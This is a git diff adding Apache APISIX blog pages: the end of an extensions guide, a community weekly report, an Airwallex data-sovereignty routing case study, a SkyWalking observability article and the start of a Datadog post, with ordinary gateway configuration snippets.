+<span class="line"><span> end,</span></span>
+<span class="line"><span> before_retry_next_priority = function (ctx)</span></span>
+<span class="line"><span> if ctx.balancer_tried_servers then</span></span>
+<span class="line"><span> core.tablepool.release("balancer_tried_servers", ctx.balancer_tried_servers)</span></span>
+<span class="line"><span> ctx.balancer_tried_servers = nil</span></span>
+<span class="line"><span> end</span></span>
+<span class="line"><span> end,</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span>end</span></span></code></pre>
+<p>If there is no internal state to maintain, you can directly borrow the fixed template code (in the above code, outside the ellipsis) to fill in the two methods of <code>after_balance</code> and <code>before_retry_next_priority</code>.</p>
+<p>After selecting the node, we can also add additional logic in the form of a plugin. The plugin can implement the <code>before_proxy</code> method. This method will be called after the node is selected, and we can record the information of the currently selected node in this method, which will be useful in trace.</p>
+<h2 id="extension-direction-4-handling-response">Extension Direction 4: Handling Response</h2>
+<p>We can process the responses returned from upstream in <code>header_filter</code> and <code>body_filter</code> through the <code>response-rewrite</code> plugin. The former method modifies the response header, the latter modifies the response body. Note that Apache APISIX response processing is streaming, so if the response header is not modified inside <code>header_filter</code>, the response header will be sent out first and there will be no way to modify the response body when it re [...]
+<p>This means that if you want to modify the body later, but there are body-related response headers like Content-Length in the header, you have to change those headers in the <code>header_filter</code> in advance. We provide a helper method: <code>core.response.clear_header_as_body_modified</code>, which can be called in <code>header_filter</code>.</p>
+<p>The <code>body_filter</code> is also streaming and will be called multiple times. So if you want to get the full response body, you need to put together the partial response body provided by each <code>body_filter</code>. On the Apache APISIX master branch, we provide a method called <code>core.response.hold_body_chunk</code> to simplify the operation. Interested readers can take a look at the code.</p>
+<h2 id="extension-direction-5-reporting-logs-and-monitoring-parameters">Extension Direction 5: Reporting Logs and Monitoring Parameters</h2>
+<p>After the request is finished, we can also do some cleanup work with the <code>log</code> method. This type of work can be divided into two categories:</p>
+<ol>
+<li>Record metrics, such as the <code>prometheus</code> plugin.</li>
+<li>Record the access log, and then report it regularly, such as the <code>http-logger</code> plugin.</li>
+</ol>
+<p>If you are interested, you can take a look at how the <code>log</code> method of these two plugins is implemented:</p>
+<ul>
+<li><a href="https://apisix.apache.org/docs/apisix/plugins/prometheus/"><code>prometheus</code> plugin documentation</a></li>
+<li><a href="https://apisix.apache.org/docs/apisix/plugins/http-logger/"><code>http-logger</code> plugin documentation</a></li>
+</ul> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><li><a href="h [...]
\ No newline at end of file
diff --git a/blog/2021/11/02/weekly-report-1031/index.html b/blog/2021/11/02/weekly-report-1031/index.html
new file mode 100644
index 00000000000..c723f1825d8
--- /dev/null
+++ b/blog/2021/11/02/weekly-report-1031/index.html
@@ -0,0 +1,94 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Weekly Report (Oct.15 - Oct.31) | Apache APISIX</title><meta name="description" content="The Apache APISIX Community Weekly Report hopes to help community members better understand the weekly progress of the Apache APISIX community."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/11/02/weekly-rep [...]
+<p>From 10.15 to 10.31, 31 contributors submitted 93 commits for Apache APISIX. Thank you all for your contributions to Apache APISIX. It is your selfless contribution to make the Apache APISIX project better!</p>
+</blockquote>
+<!--truncate-->
+<h2 id="introduction">Introduction</h2>
+<p>Apache APISIX has grown as a community from the first day of open source and has quickly become the most active open source API gateway project in the world. These achievements cannot be achieved without the joint efforts of our community partners.</p>
+<p>“If you want to go fast, go alone.If you want to go far, go together.” The Apache APISIX Community Weekly Report hopes to help community members better understand the weekly progress of the Apache APISIX community and and facilitate everyone to participate in the Apache APISIX community.</p>
+<p>We have also compiled some issues suitable for newcomers to the community to participate in! If you are interested, don’t miss it!</p>
+<h2 id="contributor-statistics">Contributor Statistics</h2>
+<p><img src="https://static.apiseven.com/202108/1635733917401-732f84d0-24a1-4c31-acea-4e45f5e56816.png" alt="Contributors List"></p>
+<p><img src="https://static.apiseven.com/202108/1635735281818-c6cb23ce-4242-44ee-a569-38a46b607253.31eng" alt="New Contributors"></p>
+<h2 id="good-first-issue">Good first issue</h2>
+<h3 id="issue-686">Issue #686</h3>
+<p><strong>Link</strong>: <a href="https://github.com/apache/apisix-website/issues/686">https://github.com/apache/apisix-website/issues/686</a></p>
+<p><strong>Issue description</strong>: In order to speed up the loading speed of pictures/images on the Apache APISIX official website, we need to migrate all pictures/images to CDN.</p>
+<h3 id="issue-5305">Issue #5305</h3>
+<p><strong>Link</strong>: <a href="https://github.com/apache/apisix/issues/5305">https://github.com/apache/apisix/issues/5305</a></p>
+<p><strong>Issue description</strong>:</p>
+<p>Currently I has test the proxy-mirror plugin in apisix, but I find that the feature of this plugin is different from the ngx_http_mirror_module in nginx. The mirror moudle of nginx can add the uri behind the host in “proxy_pass” directive, for example:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>location / {</span></span>
+<span class="line"><span>mirror /mirror;</span></span>
+<span class="line"><span>proxy_pass http://backend;</span></span>
+<span class="line"><span>}</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span>location = /mirror {</span></span>
+<span class="line"><span>internal;</span></span>
+<span class="line"><span>proxy_pass http://test_backend$request_uri;</span></span>
+<span class="line"><span>}</span></span></code></pre>
+<p>But when I test the proxy-mirror plugin in apisix dashboard, it prompts a message that the blank cannot be filled with URI. Will the proxy-mirror plugin be optimized to support the URI?</p>
+<p><img src="https://static.apiseven.com/202108/1635734126653-8fe4c1e7-5b9a-4e78-b747-fb30cbae7f36.png" alt="Issue Screenshot"></p>
+<h3 id="issue-5342">Issue #5342</h3>
+<p><strong>Link</strong>: <a href="https://github.com/apache/apisix/issues/5342">https://github.com/apache/apisix/issues/5342</a></p>
+<p><strong>Issue description</strong>: Share limit counter between routes.</p>
+<p>To do this, you need to specify the key of the route’s corresponding limit-count in lrucache so that the same limit object is shared across multiple routes. lrucache keys (hereafter called groups to distinguish them from limit keys) are currently generated automatically, ensuring that each route’s group is independent. For this change, we need to be able to specify the group in the limit-count.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#A5D6FF">"limit-count"</span><span style="color:#E6EDF3">: {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "group"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"group_id_blah"</span></span>
+<span class="line"><span style="color:#A5D6FF"> "count"</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">2</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#A5D6FF"> "time_window"</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">60</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#A5D6FF"> "rejected_code"</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">503</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#A5D6FF"> "key"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"remote_addr"</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>Note that the configuration of the same group needs to be the same, which currently needs to be guaranteed by the caller, otherwise the limit object obtained by the group will be different from the configuration.</p>
+<h3 id="issue-5343">Issue #5343</h3>
+<p><strong>Link</strong>: <a href="https://github.com/apache/apisix/issues/5343">https://github.com/apache/apisix/issues/5343</a></p>
+<p><strong>Issue description</strong>: Add a request_body switch to the schema, and each body can be used by expr to decide whether to log or not. Without this switch, the body is not logged.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="json"><code><span class="line"><span style="color:#A5D6FF">"kafka-logger"</span><span style="color:#E6EDF3">: {</span></span>
+<span class="line"><span style="color:#7EE787"> "broker_list"</span><span style="color:#E6EDF3">:{</span></span>
+<span class="line"><span style="color:#7EE787"> "127.0.0.1"</span><span style="color:#E6EDF3">:</span><span style="color:#79C0FF">9092</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#7EE787"> "kafka_topic"</span><span style="color:#E6EDF3"> : </span><span style="color:#A5D6FF">"test2"</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#7EE787"> "request_body"</span><span style="color:#E6EDF3">: {</span></span>
+<span class="line"><span style="color:#7EE787"> "expr"</span><span style="color:#E6EDF3">: [</span></span>
+<span class="line"><span style="color:#E6EDF3"> [</span><span style="color:#A5D6FF">"request_length"</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">"<"</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">"1024"</span><span style="color:#E6EDF3">],</span></span>
+<span class="line"><span style="color:#E6EDF3"> ]</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#7EE787"> "key"</span><span style="color:#E6EDF3"> : </span><span style="color:#A5D6FF">"key1"</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#7EE787"> "batch_max_size"</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">1</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#7EE787"> "name"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"kafka logger"</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p><code>expr</code> can be evaluated by lua-resty-expr. request body can be fetched by core.request.get_body.</p>
+<h2 id="highlights-of-recent-features">Highlights of Recent Features</h2>
+<ul>
+<li>
+<p><a href="https://github.com/apache/apisix-ingress-controller/pull/698">APISIX Ingress introduces custom resources of ApisixRoute v2beta2 version, and discards the backend field</a>(Contributor: <a href="https://github.com/tao12345666333">tao12345666333</a>)</p>
+</li>
+<li>
+<p><a href="https://github.com/apache/apisix-ingress-controller/pull/697">APISIX Ingress upgraded the CRD resource version to v1 to better support K8s v1.22 and above</a>(Contributor: <a href="https://github.com/tao12345666333">tao12345666333</a>)</p>
+</li>
+<li>
+<p><a href="https://github.com/apache/apisix-ingress-controller/pull/699">APISIX Ingress adds documentation on how to use gRPC proxy</a>(Contributor: <a href="https://github.com/gxthrj">gxthrj</a>)</p>
+</li>
+<li>
+<p><a href="https://github.com/apache/apisix-dashboard/pull/2099">APISIX Dashboard supports proto management API</a>(Contributor: <a href="https://github.com/bzp2010">bzp2010</a>)</p>
+</li>
+<li>
+<p><a href="https://github.com/apache/apisix-dashboard/pull/2178">APISIX Dashboard supports transferring dashboard static resources as gzip</a>(Contributor: <a href="https://github.com/nic-6443">nic-6443</a>)</p>
+</li>
+</ul>
+<p>The Apache APISIX project website and the Github issue have accumulated a wealth of documentation and experience, so if you encounter problems, you can read the documentation, search the issue with keywords, or participate in the discussion on the issue to put forward your own ideas and practical experience.</p>
+<h2 id="recent-blog-recommendations">Recent Blog Recommendations</h2>
+<ul>
+<li>
+<p><a href="http://apisix.apache.org/blog/2021/10/29/Extension-guide">Apache APISIX Extensions Guide</a>:</p>
+<p>This article provides an extension guide for Apache APISIX, aiming to provide users with some ideas for extending Apache APISIX.</p>
+</li>
+<li>
+<p><a href="https://apisix.apache.org/blog/2021/10/26/APISIX-Ingress/">From 0 to 1, How APISIX Ingress Has Grown and Gained Since Joining The Community</a>:</p>
+<p>This article describes the growth of APISIX Ingress and the details of the enhancements and community help that APISIX Ingress has received since joining the community.</p>
+</li>
+<li>
+<p><a href="https://apisix.apache.org/blog/2021/10/22/cert-manager-in-ingress/">Tutorial: How to use Cert Manager to manage certificates in Apache APISIX Ingress Controller</a>:</p>
+<p>This article shows how to create a certificate and pair it with Apache APISIX Ingress Controller via the Cert Manager.</p>
+</li>
+</ul> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><li><a href="h [...]
\ No newline at end of file
diff --git a/blog/2021/11/03/airwallex-usercase/index.html b/blog/2021/11/03/airwallex-usercase/index.html
new file mode 100644
index 00000000000..6430336acf7
--- /dev/null
+++ b/blog/2021/11/03/airwallex-usercase/index.html
@@ -0,0 +1,65 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>API Gateway Practice in Airwallex with APISIX | Apache APISIX</title><meta name="description" content="This article will bring you about how Airwallex uses Apache APISIX for gateway layer deployment to strengthen the construction of data sovereignty."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/202 [...]
+<p>This article will bring you about how Airwallex uses Apache APISIX for gateway layer deployment to strengthen the construction of data sovereignty.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="why-deal-with-data-sovereignty">Why deal with data sovereignty?</h2>
+<p><a href="https://www.airwallex.com">Airwallex</a> is a global financial technology company that helps global users with payment services and cross-border payment scenarios. A global financial infrastructure platform has been built, and the payment network has covered more than 50 currencies in more than 130 countries and regions around the world, providing enterprises with digital financial technology products.</p>
+<p><img src="https://static.apiseven.com/202108/1646626634389-7d9a0a82-a76c-4645-93b6-8a431bb1f9a1.png" alt="Airwallex Business"></p>
+<p>Under the demand of global service content, the risk of data sovereignty must be considered in the conduct of the company’s business.</p>
+<h3 id="what-is-data-sovereignty">What is data sovereignty?</h3>
+<p>Data sovereignty refers to the national sovereignty in cyberspace, which reflects the status of the state as the subject of controlling data rights. Before describing the importance of data sovereignty, let’s give a few examples.</p>
+<p>GDPR (General Data Protection Regulation) is a regulatory document formulated by the European Union, which is aimed at the privacy and protection of personal data. One of the most basic requirements in GDPR is that all user data collection activities need to be approved by the user, while ensuring that the user can clear personal data on their own.</p>
+<p>Therefore, if the Airwallex wants to transfer European data to other regions, it must ensure that the requirements of third-party countries on data sovereignty meet the requirements of the European Union on data sovereignty.
+With regard to the need for data to comply with local laws, there are indeed a lot of concerns in multinational operations.</p>
+<p>For example, the American Patriot Act requires all data stored in the United States, or data stored by American companies, to be regulated in the United States, and the US Department of Justice and CIA can require companies to provide data.</p>
+<p>After 9 / 11, 2013, the Justice Department asked Microsoft to provide some of the email information it stored on its servers in Ireland, when Microsoft rejected the request on the grounds that it would violate EU regulatory requirements. Then the U.S. Department of Justice took Microsoft to court, but Microsoft won in the end. Later, in order to avoid the risk of the opposite of data sovereignty, many American companies put their data centers directly to Europe, thinking that it would [...]
+<p>Judging from the above events, data sovereignty has indeed brought great challenges to Airwallex’s global business, and how to properly handle the issue of data sovereignty in the business has become particularly important.</p>
+<h3 id="current-situation-of-transnational-business-data-transmission">Current situation of transnational business data transmission</h3>
+<p>Because the business involves transnational attributes, some problems will be encountered in the technical processing.</p>
+<p><img src="https://static.apiseven.com/202108/1646626634395-c0076f05-0610-43f0-80b5-3110f30db183.png" alt="Airwallex Business Process"></p>
+<p>The data flow of multinational corporations is reflected in a variety of interactions between different regions. In the absence of data sovereignty claims, the data can be stored in Europe and then Synchronize to any data center in Asia or the world. When you make a subsequent data service request, you only need to encapsulate the business into a service.</p>
+<p>But in the current era of emphasis on data sovereignty, the above approach will not work. Because the flow of a lot of data is beginning to be controlled, the previous architecture cannot be used. Domestic data can only be processed locally, not transnational requests. So when we store user data in the user’s home scope that is, the “closed alone” architecture in the following figure), problems begin to emerge.</p>
+<p><img src="https://static.apiseven.com/202108/1635907812255-73d11508-d9ec-4ac6-b0a0-5913a1acb2c8.png" alt="Single Deployment"></p>
+<p>First of all, it is impossible to make the service completely stateless in this case, and most of the scenarios are not that simple in real business. Because the completion of the business, it is bound to involve the interaction between multiple clusters.</p>
+<p><img src="https://static.apiseven.com/202108/1635907812257-962b1247-f5ca-448f-904d-fd47c3ea4586.png" alt="Multi-cluster Interaction"></p>
+<p>Therefore, in the aspect of data storage, the first problem to be solved is the region / region identification configuration at the data entrance. Just like Amazon, e-books purchased in the United States cannot be downloaded to their own Kindle using their national accounts. Because the data between countries (regions) is completely isolated. As long as users click on Amazon China, it means that all your requests will not step out of the Chinese data center.</p>
+<p>Amazon’s mode of operation actually allows users to decide where to store their personal data, but the resulting problem is that in the case of single-person and multi-regional accounts, it is very inconvenient for individual users to manage and Synchronize.</p>
+<p>Therefore, for business processing in multi-regions and multi-scenarios, we should also need a “sharp weapon” to dynamically allocate and determine the direction of the follow-up data.</p>
+<h2 id="building-apache-apisix-intelligent-routing-gateway">Building Apache APISIX Intelligent routing Gateway</h2>
+<p>Therefore, based on the above business scenarios, we decided to adopt the “intelligent routing” mode, through the gateway to determine the foothold and direction of different types of data requests.</p>
+<p><img src="https://static.apiseven.com/202108/1635907812259-59637175-4beb-4e1e-a813-bb7c40a5acf9.png" alt="Intelligent Routing Mode"></p>
+<p>The above figure is the architecture diagram in “intelligent routing” mode. The gateway is mainly divided into two layers, the first layer is responsible for routing requests, according to the conditions to determine which data center the request should reach, and the second layer gateway is for traffic forwarding. Therefore, the main problem solved by the gateway in this mode is to assign a “destination” to each request, and then carry out subsequent traffic forwarding and business p [...]
+<p>Currently, in our business scenarios, traffic information is mainly divided into two categories:</p>
+<p>Unidentified request:</p>
+<ul>
+<li>Registration: the information is incomplete when a user registers for the first time, and he / she does not know which data center the user’s registration data is in.</li>
+<li>static resources: for example, HTML, CSS, etc., you do not need to know the identity of the user.</li>
+</ul>
+<p>Known identity request:</p>
+<ul>
+<li>Login: the user logs in, indicating that the registration process has been completed, and the location of the data center is known at this time.</li>
+<li>password reset: you can check where the data is through user name, mobile phone number, mailbox, city and other information, and then distribute subsequent requests</li>
+<li>Business operations in complex scenarios</li>
+</ul>
+<p>In the deployment at the gateway level, we use <a href="https://github.com/apache/apisix">Apache APISIX</a>. Next, we will briefly introduce how to deal with dynamic, multi-data center routing scenarios based on Apache APISIX’s API gateway.</p>
+<h3 id="scenario-1-login-and-password-reset">Scenario 1: login and password reset</h3>
+<p>We can get the user name and password when the user logs in, but the password cannot be used as identification information, and it is not allowed to be passed casually. Therefore, it can only be queried according to the user name to determine which region the user belongs to. Business is the need to design a global Synchronize data storage.</p>
+<p><img src="https://static.apiseven.com/202108/1635907812260-69fbda9e-56cc-443d-8ea7-a1f10dba041e.png" alt="Log-in Mode"></p>
+<p>In this case, we have carried out the data storage architecture shown above, which can ensure the globalization of data Synchronize. For example, when a user registers an account in China, we convert the relevant data into Kafka message, through CDC (Change Data Capture) and receive local messages through a special listener, and then make further conversion. For example: excluding user name, Email and other personal information, these information can not be stored across borders.</p>
+<p>In the process of converting (Transformer), salt or hash encryption can be carried out, and finally, the relevant business requests can be processed at the gateway layer, that is, data area allocation and subsequent traffic forwarding. Realize the business processing based on the Apache APISIX gateway level.</p>
+<h3 id="scenario-2-business-operations-in-complex-scenarios">Scenario 2: business operations in complex scenarios</h3>
+<p>The business operation is that when I manipulate a piece of data, how should I decide where the data is going to be executed. Conventional business operations, such as a user querying his own account information or history, are generally divided into two modes.</p>
+<p><img src="https://static.apiseven.com/202108/1635907812247-123eca67-5039-487c-9d02-f3881e16c411.png" alt="Business Operation Mode"></p>
+<h4 id="stateful-mode">Stateful Mode</h4>
+<p>Stateful mode generally makes use of Session (as shown on the left side of the figure above). After the client has logged in, Sever will give the Cookie with Session ID to the client. Upon request, the gateway layer implemented based on Apache APISIX uses the information in Cookie to query the user’s region. Even if the user changes the server, the login status can still be maintained, and the system can also determine where to get the data.</p>
+<p>For example, users are traveling across borders, initially logging into the system in Europe and flying to Asia. When logging in in Asia, the system will determine which data center the user information is in through Session, and the request will be distributed to the corresponding data center for subsequent business operations.</p>
+<h4 id="stateless-mode">Stateless Mode</h4>
+<p>Usually we will not only provide web access, but also have some API access to integrate. Therefore, when making API access, the way to pass Session ID through Cookie is not appropriate. In this case, we use a special Token (as shown on the right side of the figure above). The Token contains specific information about the data center so that Apache APISIX can decide which data center to access based on the Token.</p>
+<p>The advantage of this is that it can remain dynamic when the business is expanded later. If the initial design is static and the data center is determined based on the information at the time of the initial registration, it will be very difficult to deal with cross-data center scenarios in the future.</p>
+<p>There is also a more complex scenario in stateless mode, which is user registration. Because when registering, you can only decide which data center to put in according to the registration information filled in by the user. But if the user emigrates later, or the company migrates somewhere else, we have to clean up the relevant data and migrate all the user’s transaction data, user name, password and so on to another data center. This kind of data switching cost is actually relatively [...]
+<p>At present, we also support complex scenarios such as users switching data centers, but we will also start to consider how to reduce the impact of switching data centers on the overall architecture.</p>
+<h2 id="attitude-about-data-sovereignty">Attitude about data sovereignty</h2>
+<p>In fact, everything we mentioned above illustrates one problem, that is, “data and location”. However, before the division of data ownership, there is a very important premise, that is, the degree of information processing.</p>
+<p>The data is sensitive, and when we get user data for data analysis/commercial BI or other big data analysis, we can’t use it immediately. We should first carry out the Filter of sensitive information at the personal level, in addition, at the data aggregation level, when the data from the same region are aggregated to look at the overall data, and then abstract the user information again, so as to achieve the state that the user can not be fully identified.</p>
+<p>Only in this way can we meet the regulatory requirements and use this information for data analysis. This is the most fundamental requirement of data processing. While we standardize data supervision, we should also ensure the “security” of user information.</p>
+<p>Of course, the shared Apache APISIX based gateway-level processing of data sovereignty is only part of the process of “dealing with the risk of data sovereignty”. We expect the Apache APISIX gateway to help Airwallex do better and better at the level of data sovereignty, and so far, Apache APISIX has done what we expect.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache. [...]
\ No newline at end of file
diff --git a/blog/2021/11/04/skywalking/index.html b/blog/2021/11/04/skywalking/index.html
new file mode 100644
index 00000000000..4e2fafe78cb
--- /dev/null
+++ b/blog/2021/11/04/skywalking/index.html
@@ -0,0 +1,57 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>APISIX Observability with SkyWalking | Apache APISIX</title><meta name="description" content="Deploy SkyWalking to monitor APISIX metrics, traces, and logs. Step-by-step guide for full API gateway observability."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/11/04/skywalking/"><link rel="alterna [...]
+<p>This article introduces the observability capabilities of Apache APISIX and how to improve the observability capabilities of Apache APISIX through Apache SkyWalking.</p>
+</blockquote>
+<!--truncate-->
+<p>Observability is the ability to observe the runtime state and resource usage of the internal program of the system from the outside of the system. The main measures of observability are Metrics, Logging, and Tracing, and the following diagram shows the relationship between Metrics, Logging, and Tracing.</p>
+<p><img src="https://static.apiseven.com/202108/1635993536337-f8ee034d-ef3b-40b6-9886-ebde62d8edc6.png" alt="Metrics, Logging and Tracing Relationship Diagram"></p>
+<p>For example, the overlap between Tracing and Logging represents the logs generated by Tracing at the request level, and the Tracing ID is used to associate Tracing and Logging. After performing certain aggregation operations on this log, some Metrics can be obtained. Tracing itself also generates some Metrics, such as the relationship between the call volume.</p>
+<h2 id="observability-capabilities-of-apache-apisix">Observability Capabilities of Apache APISIX</h2>
+<p>Apache APISIX has comprehensive observability capabilities: support for Tracing and Metrics, a rich ecosystem of Logging plug-ins, and support for querying node status.</p>
+<h3 id="tracing">Tracing</h3>
+<p>Apache APISIX supports a variety of Tracing plugins, including: Zipkin, OpenTracing and SkyWalking. Note that: Tracing plug-in is closed by default, you need to manually open Tracing plug-in before use. Tracing plugin needs to be bound to routing or global rules. If there is no requirement for sampling rate, it is recommended to bind to global rules to avoid omissions.</p>
+<h3 id="metrics">Metrics</h3>
+<p>In Apache APISIX, Metrics related information is reported through Prometheus Exporter, which is compatible with the Prometheus data format. There are two things to be aware of when using the Prometheus Plugin in Apache APISIX.</p>
+<p><strong>First, please try to improve the readability of the names of all three - route, service and upstream.</strong></p>
+<p>There is a parameter named <code>prefer_name</code> in Prometheus Plugin. When the value of this parameter is set to <code>true</code>, that is: <code>prefer_name: true</code>. If the names of routing, service and upstream are relatively readable, This will bring some benefits: when you monitor the parameters on the large screen through Grafana, you can not only clearly display all the data, but also clearly know the source of the data. If the value of the <code>prefer_name</code> par [...]
+<p><strong>Second, the Prometheus Plugin must be bound to a route or global rule before it can view the metrics of the specified resource.</strong></p>
+<p>After the above setup, the Metrics data will be stored in Prometheus. Since Prometheus has good storage performance, but poor display performance, we need to use the Grafana Dashboard to display the data. We can see the Metrics for the Nginx instance, the Metrics for the network bandwidth, the Metrics for the routes and upstream, and more, as shown in the following image.</p>
+<p><img src="https://static.apiseven.com/202108/1635993660940-9c9bbb0b-d5f1-4add-b93d-1f076de9aebd.png" alt="Grafana Dashboard"></p>
+<h3 id="logging">Logging</h3>
+<p>Apache APISIX supports a variety of logging plugins to share log data directly with other external platforms. The Error Log plug-in supports HTTP and TCP protocols, and is compatible with the log format of SkyWalking. Logs can also be synchronized to logging platforms for processing through log collection components such as FluentBit.</p>
+<p>The Access Log plugin does not currently support nesting inside the log format. Because the Access Log plugin is route-level, it needs to be bound to a route in order to collect access logs for the route. However, the log format is global, and there can only be one global log format.</p>
+<h3 id="support-querying-node-status">Support Querying Node Status</h3>
+<p>Apache APISIX supports querying node status. When enabled, information about the nodes can be collected via <code>/apisix/status</code>, including the number of nodes, the number of waiting links, the number of connections processed, etc.</p>
+<p><img src="https://static.apiseven.com/202108/1635993774170-ca3bf15d-9f55-42ac-9a2f-2d8955f74c5c.png" alt="Node Status"></p>
+<h3 id="pitfalls">Pitfalls</h3>
+<p>As mentioned above, Apache APISIX has a well-established observability capability to collect information such as Metrics, Logging, and Tracing. Although the built-in plug-in of Apache APISIX and Grafana Dashboard can solve the problems of monitoring data collection and indicator visualization, all kinds of data are scattered on various platforms. It is expected that an observability analysis platform can integrate Metrics, Logging, and Tracing information and link all data together.</p>
+<h2 id="use-apache-skywalking-to-enhance-the-observation-capabilities-of-apache-apisix">Use Apache SkyWalking to Enhance the Observation Capabilities of Apache APISIX</h2>
+<p>Apache SkyWalking is an application performance monitoring (APM) and observability analysis platform for distributed systems. It provides multi-dimensional application performance analysis methods, from distributed topology diagrams to application performance indicators, traces, log correlation analysis and alarms.</p>
+<p><img src="https://static.apiseven.com/202108/1635993914263-b7511acd-9bcf-49ca-aa32-911fc85acfac.png" alt="Apache SkyWalking"></p>
+<h3 id="one-stop-data-processing">One-stop Data Processing</h3>
+<p>Apache SkyWalking supports interfacing with Metrics, Logging, Tracing and other monitoring data, compatible with the Prometheus data model, and can also be used to generate new Metrics through secondary aggregation by Log Analysis Language.</p>
+<h3 id="more-detailed-data-presentation">More Detailed Data Presentation</h3>
+<p>The Dashboard of Apache SkyWalking is divided into two areas: the upper area for feature selection and the lower area for panel content. The upper part is the feature selection area, and the lower part is the content of the dashboard, which provides Metrics related information in multiple entity dimensions, such as Global, Service, Example, Endpoint, etc., and supports different views to show the observability. Take the global view as an example, the displayed Metrics include: service [...]
+<p><img src="https://static.apiseven.com/202108/1635993968588-403c9219-ae66-4b97-9eee-dcb97067b789.png" alt="Data Display"></p>
+<p>Another thing worth mentioning is the Trace view of SkyWalking Dashboard. SkyWalking provides 3 display forms: list, tree diagram and table. Trace view is a typical view of distributed tracing. These views allow users to view trace data from different angles, especially the time-consuming relationship between spans.</p>
+<p>SkyWalking Dashboard also supports topology diagrams. The topology diagram is the overall topology structure analyzed based on the probe uplink data. The topology diagram supports clicking to show and drill down the performance statistics, tracing, and alerts of individual services, and you can also click on the relationship lines in the topology diagram to show the performance Metrics between services and between service examples.</p>
+<h3 id="support-containerized-deployments">Support Containerized Deployments</h3>
+<p>Kubernetes is an open source cloud-native containerized cluster management platform that aims to make deploying containerized applications simple and efficient. The Apache SkyWalking backend can be deployed in Kubernetes, and thanks to the efficient management of Kubernetes, high availability of UI components can be guaranteed.</p>
+<p>If Apache APISIX is deployed on a cluster, Apache SkyWalking supports the deployment of SkyWalking Satellite in the form of sidecar or service discovery to monitor Apache APISIX in the cluster.</p>
+<h2 id="future-plans">Future Plans</h2>
+<p>Apache APISIX will continue to enhance observability-related feature support in the future, such as</p>
+<ol>
+<li>
+<p>Solve the problem of missing peer of SkyWalking Nginx-Lua plugin</p>
+</li>
+<li>
+<p>Support printing trace id in the log</p>
+</li>
+<li>
+<p>Access to the access log</p>
+</li>
+<li>
+<p>Support gateway metadata</p>
+</li>
+</ol>
+<h2 id="conclusion">Conclusion</h2>
+<p>This article introduces the observability capabilities of Apache APISIX and how Apache SkyWalking can enhance the observability capabilities of Apache APISIX. The two communities will continue to work together to further enhance the observability of Apache APISIX in the future. We hope you can get more involved in the Apache APISIX and Apache SkyWalking projects. If you are interested in these two open source projects but are not familiar with the code, writing articles, making videos [...]
\ No newline at end of file
diff --git a/blog/2021/11/12/apisix-datadog/index.html b/blog/2021/11/12/apisix-datadog/index.html
new file mode 100644
index 00000000000..cf3447855e7
--- /dev/null
+++ b/blog/2021/11/12/apisix-datadog/index.html
@@ -0,0 +1,260 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Cloud Monitoring with Datadog in Apache APISIX | Apache APISIX</title><meta name="description" content="Integrate APISIX with Datadog for real-time API monitoring. Configure the datadog plugin for metrics collection and dashboard visualization."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/11/1 [...]
